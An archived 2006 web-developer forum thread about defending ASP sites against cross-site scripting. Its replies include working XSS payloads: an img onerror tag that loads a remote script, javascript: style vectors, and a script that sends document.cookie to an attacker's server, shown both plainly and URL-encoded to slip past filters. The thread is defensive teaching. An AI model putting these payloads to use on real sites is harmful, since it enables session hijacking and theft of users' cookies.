Windows Security
 
Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
 
 
User Name:
Password:
Remember me
Go Back   ASP Free ForumsSystem AdministrationWindows Security

Reply
Add This Thread To:
  Del.icio.us   Digg   Google   Spurl   Blink   Furl   Simpy   Y! MyWeb 
Thread Tools Search this Thread Rate Thread Display Modes
 
Unread ASP Free Forums Sponsor:
  #1  
Old November 16th, 2006, 04:46 PM
Doug G Doug G is offline
Grumpier Old Moderator
ASP Free God 11th Plane (10000 - 10499 posts)
 
Join Date: Sep 2003
Posts: 10,143 Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level) 
Time spent in forums: 3 Weeks 4 Days 23 h 57 m 26 sec
Reputation Power: 181
Cross-site scripting

Anyone have some quick coding guidelines to follow to minimize the possibility of cross-site scripting?
__________________
======
Doug G
======
I didn't attend the funeral, but I sent a nice letter saying I approved of it. --Mark Twain

Reply With Quote
  #2  
Old November 16th, 2006, 05:54 PM
Memnoch's Avatar
Memnoch Memnoch is offline
Unholy Moderator
Click here for more information.
 
Join Date: Oct 2003
Location: In hell, where did you think?
Posts: 11,871 Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level) 
Time spent in forums: 3 Weeks 5 Days 16 h 47 m 27 sec
Reputation Power: 500
Unfortunately, most people think the easiest way to prevent XSS attacks is to prevent the execution of javascript and filter our <script> type tags. This isn't true and there are ways that a hacker can encode the data to bypass this type of data validation.

There are two types of XSS attacks.

Persistent and Non-persistent. Persistent attacks are anything that could be entered and remain to affect virtually all users that access the page in which the attack occurs. Think post or thread on a message board. If a discussion forum allowed this type of attack it would be persistent and could affect any user who views that post or thread.

Non-Persistent attacks are more similar to phishing attacks. A targeted victim could be sent a link that appears legitimate, however on closer inspection the link contains additional information that if clicked would allow the hacker to hijack the victims session or execute malicious code in their browser.

Virtually any HTML tag can be used as an attack vector to allow remote code execution.

Example of some attack vectors:
Code:
<img src="" onerror="x=document.createElement('<sc'+'ript src=http://www.mansiononmain.com/xss.js>');document.body.appendChild(x)">

Code:
<table style="background:url('javascript:alert('Table Tag XSS Attack');')" border="1" width="100%">
  <tr style="background:url('javascript:alert('Row Tag XSS Attack');')">
    <td style="background:url('javascript:alert('Cell Tag XSS Attack');')"></td>
  </tr>
</table>


The best way to prevent these types of attacks is to prevent this type of input. If you must allow it then sanitize the results being returned from the client to ensure it doesn't contain anything that could be used maliciously. And when returning the results to the client consider using Server.HTMLEncode.

Last edited by Memnoch : November 16th, 2006 at 05:58 PM.

Reply With Quote
  #3  
Old November 16th, 2006, 08:13 PM
Doug G Doug G is offline
Grumpier Old Moderator
ASP Free God 11th Plane (10000 - 10499 posts)
 
Join Date: Sep 2003
Posts: 10,143 Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level) 
Time spent in forums: 3 Weeks 4 Days 23 h 57 m 26 sec
Reputation Power: 181
The idea is to sanitize any input that may be used in subsequent pages, like a forum post or similar? From what I understand of the your example attack vector, this would be an img src that a user can add to some input that accepts html, and subsequently would be re-displayed to a future user?

Thanks for your help, I recently saw a reference to some xss vulnerability in Snitz code and didn't totally understand the flaw.

Reply With Quote
  #4  
Old November 17th, 2006, 08:28 AM
Memnoch's Avatar
Memnoch Memnoch is offline
Unholy Moderator
Click here for more information.
 
Join Date: Oct 2003
Location: In hell, where did you think?
Posts: 11,871 Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level)Memnoch User rank is Lieutenant Colonel (40000 - 50000 Reputation Level) 
Time spent in forums: 3 Weeks 5 Days 16 h 47 m 27 sec
Reputation Power: 500
Quote:
Originally Posted by Doug G
From what I understand of the your example attack vector, this would be an img src that a user can add to some input that accepts html, and subsequently would be re-displayed to a future user?

Exactly, if you copied the img tag example into an html page and ran it you will see that the remote code gets executed and the page gets "hijacked".

Reply With Quote
  #5  
Old November 17th, 2006, 03:26 PM
Doug G Doug G is offline
Grumpier Old Moderator
ASP Free God 11th Plane (10000 - 10499 posts)
 
Join Date: Sep 2003
Posts: 10,143 Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level)Doug G User rank is First Lieutenant (10000 - 20000 Reputation Level) 
Time spent in forums: 3 Weeks 4 Days 23 h 57 m 26 sec
Reputation Power: 181
Thanks, memnoch! It's becoming clearer now.

Reply With Quote
  #6  
Old November 19th, 2006, 09:50 AM
LozWare's Avatar
LozWare LozWare is offline
Contributing User
ASP Free Novice (500 - 999 posts)
 
Join Date: Jun 2005
Posts: 531 LozWare User rank is Sergeant Major (2000 - 5000 Reputation Level)LozWare User rank is Sergeant Major (2000 - 5000 Reputation Level)LozWare User rank is Sergeant Major (2000 - 5000 Reputation Level)LozWare User rank is Sergeant Major (2000 - 5000 Reputation Level)LozWare User rank is Sergeant Major (2000 - 5000 Reputation Level)LozWare User rank is Sergeant Major (2000 - 5000 Reputation Level) 
Time spent in forums: 4 Days 10 h 56 m 31 sec
Reputation Power: 46
Send a message via MSN to LozWare
You must also accommodate for the fact that the attacker may URL-Encode their scripts to prevent them from being picked out by your data sanitation scripts.

For example, the following 2 malicious scripts would do exactly the same thing after interpreted by the browser (they would both send the victim's cookies back to the attacker's server)...

Plain text...
Code:
<script language=javascript>
document.write('<img src=http://the-attackers-server/script.asp?'+document.cookie+'>');
</script>


Encoded...
Code:
%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3  D%6A%61%76%61%73%63%72%69%70%74%3E%0D%0A%64%6F%63%  75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%6D%67  %20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%68%65%2D%6  1%74%74%61%63%6B%65%72%73%2D%73%65%72%76%65%72%2F%  73%63%72%69%70%74%2E%61%73%70%3F%27%2B%64%6F%63%75  %6D%65%6E%74%2E%63%6F%6F%6B%69%65%2B%27%3E%27%29%3  B%0D%0A%3C%2F%73%63%72%69%70%74%3E


Also, XSS attacks can be performed via query strings (you probably knew that, but it is often over-looked). For example, someone came on ASPFree a while ago to get their site reviewed... it was vulnerable to XSS via it's query strings...

Eatlocal.com - Harmless XSS Example (look down the right-hand-side when you go on the page)
__________________
LozWare Website Directory

Whooo! Free submissions, no recip needed. I'm a nice guy

Last edited by LozWare : November 19th, 2006 at 02:28 PM.

Reply With Quote
Reply

Viewing: ASP Free ForumsSystem AdministrationWindows Security > Cross-site scripting


Thread Tools  Search this Thread 
Search this Thread:

Advanced Search
Display Modes  Rate This Thread 
Rate This Thread:


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
View Your Warnings | New Posts | Latest News | Latest Threads | Shoutbox
Forum Jump



 Free IT White Papers!
 
How to Present Effectively Online
This white paper offers practical and actionable advice on the key steps that any presenter should consider as they plan and execute a Webinar or online meeting.

 
Open Source Security Myths
Open Source Software (OSS) is computer software whose source code is available to the general public with relaxed or non-existent intellectual property restrictions (or arrangement such as the public domain), and is usually developed with the input of many contributors.

 
Power and Cooling Capacity Management for Data Centers
This paper describes the principles for achieving power and cooling capacity management.

 
Scalable, Fault-Tolerant NAS for Oracle - The Next Generation
For several years NAS has been evolving as a storage alternative for Oracle databases, and for good reason: NAS is quite often the simplest, most cost-effective storage approach for Oracle. Learn about the benefits that HP's approach to scalable NAS brings to Oracle environments in this comprehensive white paper.

 
Understanding Web Application Security Challenges
This white paper discusses many common threats and preventive measures for Web application security, and explains what you can do to help protect your organization.

 

Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
  
 





© 2003-2009 by Developer Shed. All rights reserved. DS Cluster 6 hosted by Hostway
Stay green...Green IT